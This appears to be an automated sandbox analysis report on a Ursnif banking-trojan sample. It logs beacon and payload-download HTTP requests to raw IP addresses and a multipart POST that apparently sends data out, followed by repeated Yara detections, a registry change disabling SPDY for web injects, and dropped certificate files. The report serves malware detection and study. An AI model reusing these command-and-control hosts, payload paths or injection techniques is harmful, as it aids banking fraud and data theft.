                      Source: global trafficHTTP traffic detected: GET /phpadmin/O5VHv_2BomBJ/FDSQ3C_2FEh/d3AB91pB2zVZZc/V8xBUftmx0M_2Bqnngedi/DpLLDhwUKQDOSSQS/nVaNzwxkqgcnJXK/SQy2RrteBXCJGPusj_/2Fou9gPbn/TEfuPZW_2FR5wp1JKvFc/BRr_2Bgc4Sh6fwKpLbg/92QNhdYG6IBsInIDDSBHis/CLBmXrf7shSlX/Qy4n9fNl/nE2maUEbSwiaPEHMkNYQxQk/D1KSQzl_2F/HXQWBGmfgthfPqv/9SK.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /phpadmin/zilwS36OC_2/FnjmOckuG_2BCm/VAdwDdj_2Fnac_2F0y6xc/deXhx0rBocPzi7tR/z8VoemZhKDJOEZ_/2FB71dJS5j3dZE2NGK/cGLO3t6yJ/yUrrIk8eZ08FZSU_2FS0/2G1FFOzId8doUQdjVtt/kPQnX57urwlFySqx1IZrAD/AgrnwQGGtXT4R/Tizv3fN7/xX9kvTCwfaZ1KZbAGWbajAo/gFAssOtH9Z/e8lp2TS1JzI4llaNY/olcdYO51/byt.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /phpadmin/TYhCb5d3/Qd3Po_2BKjelP_2F7WSwUso/7m8jnTpLRx/uExGwdKAdHoPBjWMC/elgD5kzT2sqT/T1iJBxA5UdT/uL5VED_2B8E0P8/_2FtpnrB_2FZlg9AlWg_2/BdtlwpvI_2BcVtwg/McOCY72thR3WVt5/wVoK31AOn6hDpHdQON/XBB32U4r8/fKY68F7l0jZNTMcXJ71L/odruZsWwSuNEIUWqi7s/08LTc4yWUohU0pkFp1T8P2/l2fvxomE6/r6zvT.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /stilak32.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /stilak64.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /cook32.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /cook64.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /images/AoDLtoSAe/6DutmjjyTDh_2FQIHiYd/9oUyw2I2q90tROkr2KR/CWUpolUDaN3tzGChr_2Fou/FHzHk9QUMrSRZ/edSCIB1B/azzWY7zElPFGbO93RGKzQEV/_2BFkKFxQ8/998NdOxMsC3fIYEdc/Ie4_2B_2Fdrx/UGzDt2NGXpg/BvRBjI35WivTtB/QL0X0ILari4KdxRWbrbAr/dqxmqcvrNDaF_2Bj/dg1F4yD3XCaAWKh/cjFMlT2T0Dm12MNjNP/5xwNUsaBN/B99UzFhpyEcfojrdPWgD/_2FdFku_2FhlwUSz/g.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.14Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /images/hn9vDo5o2pdwMOj3di2/srMWN78hgDZUaczxPO5xxx/2O_2BS3ntQAQz/HnUcb3IT/8KnpgLjtplHN_2BEPqSF8QZ/cHtm5lTJOq/oTLlrsZ_2FnSt3L1j/Pc8IkXGbvady/p2WZlb867S8/9A0MeJ_2Bf5dgM/Eq4tZ0kF_2BtpXCObDeNb/z7e3J6dr_2FplJ56/bsJlbMROD_2Bomk/PfAQY77jeEzZAgeRyz/ayGbSxTMe/2FEuvtf4avwFHn_2BWAf/pOJpt5b_2FsOQqxnM7m/jDA3Wj8oGk9rEw_2Buu3H7/S72EfErm/f.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.37Connection: Keep-AliveCache-Control: no-cache
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownTCP traffic detected without corresponding DNS query: 146.70.35.138
                      Source: unknownHTTP traffic detected: POST /images/vdoa2puIgygDcKHOof7W5Nx/Sm5x_2FLro/zObUXzRQyLPWX4K31/W76pZEGagBpT/o6IGunTWfCn/lXzKVuv3SgxDcg/QnnnzAZBFXh1ukr9Caozw/wPM7sTqNdf9sx_2F/Rne6TvIOz1EJrXu/g31KyfFRkwWQ7yEqN4/zXMBf0AoC/FcsOEsPhqIXCKsCLKvy2/p_2BCCsPTnYHLO5apYZ/ZOWl4UxrQhGJIiW3n82a5o/LRy86Sxl6Pzdu/NQ1r9_2F/M2tmRTakUsCXcEs_2FmAAzP/G6Sk1Uhj8yi4/tFtBd.bmp HTTP/1.1Content-Type: multipart/form-data; boundary=11596931742640080004178997978User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.14Content-Length: 56433Connection: Keep-AliveCache-Control: no-cache

                      Key, Mouse, Clipboard, Microphone and Screen Capturing

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742734831.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387911041.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387848554.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743014164.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387690686.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742810151.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388080339.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742565489.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742635161.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388156099.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387614709.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.433046999.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388142124.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.438809080.000000000542C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743129288.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742454861.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742926350.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387950801.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000002.744378617.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742968366.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 2588, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6856, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: control.exe PID: 6468, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4504, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 3932, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4712, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 2880, type: MEMORYSTR
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.4ab0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741896221.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.667078163.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741217358.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.703035684.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.622907247.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.564167327.0000000004E39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.504046961.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.686963959.0000019853F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.569771687.00000000052AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436035470.00000000055A9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.603233146.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.606133763.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.505634538.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.619033467.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.740581278.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.654783377.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.615194902.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.661830136.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.698826675.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.435816444.000000000552A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.695593372.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

                      E-Banking Fraud

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742734831.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387911041.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387848554.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743014164.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387690686.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742810151.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388080339.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742565489.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742635161.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388156099.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387614709.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.433046999.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388142124.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.438809080.000000000542C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743129288.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742454861.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742926350.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387950801.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000002.744378617.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742968366.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 2588, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6856, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: control.exe PID: 6468, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4504, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 3932, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4712, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 2880, type: MEMORYSTR
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.4ab0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741896221.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.667078163.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741217358.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.703035684.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.622907247.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.564167327.0000000004E39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.504046961.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.686963959.0000019853F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.569771687.00000000052AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436035470.00000000055A9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.603233146.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.606133763.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.505634538.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.619033467.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.740581278.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.654783377.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.615194902.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.661830136.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.698826675.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.435816444.000000000552A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.695593372.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Disables SPDY (HTTP compression, likely to perform web injects)
                      Source: C:\Windows\explorer.exeRegistry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0
                      Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\B95F.bin\Root.pfxJump to dropped file
                      Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\B95F.bin\AuthRoot.pfxJump to dropped file
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB3072 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,4_2_04AB3072

                      System Summary

                      barindex
                      Malicious sample detected (through community Yara rule)
                      Source: Process Memory Space: powershell.exe PID: 6856, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                      Writes registry values via WMI
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
                      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 604
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB821C4_2_04AB821C
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB198A4_2_04AB198A
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB475F4_2_04AB475F
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE84D94_2_05DE84D9
